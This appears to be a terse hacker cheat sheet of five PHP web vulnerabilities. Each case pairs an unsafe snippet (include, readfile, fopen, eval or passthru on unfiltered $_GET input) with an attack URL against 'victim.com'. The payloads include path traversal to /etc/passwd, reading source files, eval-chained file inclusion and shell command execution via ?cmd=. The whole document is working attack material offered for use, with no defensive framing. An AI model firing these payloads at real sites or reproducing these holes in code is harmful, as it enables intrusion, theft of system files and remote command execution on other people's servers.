======case 1======
[scripts]
$page = $_GET[page];
include($page);
[attack]
http://victim.com/file.php?page=[evil scripts]

======case 2======
[Scripts]
Header( “Content-Type: Application/Octet-Stream” );
header( “Content-Length: ” . filesize($_GET['file'] ) );
header( “Content-Disposition: inline; filename=\”$_GET[file]\”");
readfile($_GET['file'] );
[attack]

http://victim.com/file.php?file=index.php

=======case 3=======
[scripts]
$fp = fopen(“/path/{$_GET['filename']}.txt”, ‘r’);
[attack]

http://victim.com/file.php?filename=../../../etc/passwd

======case 4======
[scripts]
eval($_GET[ev]);
[attack]
http://victim.com/file.php?ev=include($_GET[vegetoo]);&vegetoo=[evil code]

==========case 5==========
[scripts]
passthru($_GET[cmd]);
[attack]
http://victim.com/file.php?cmd=ls -al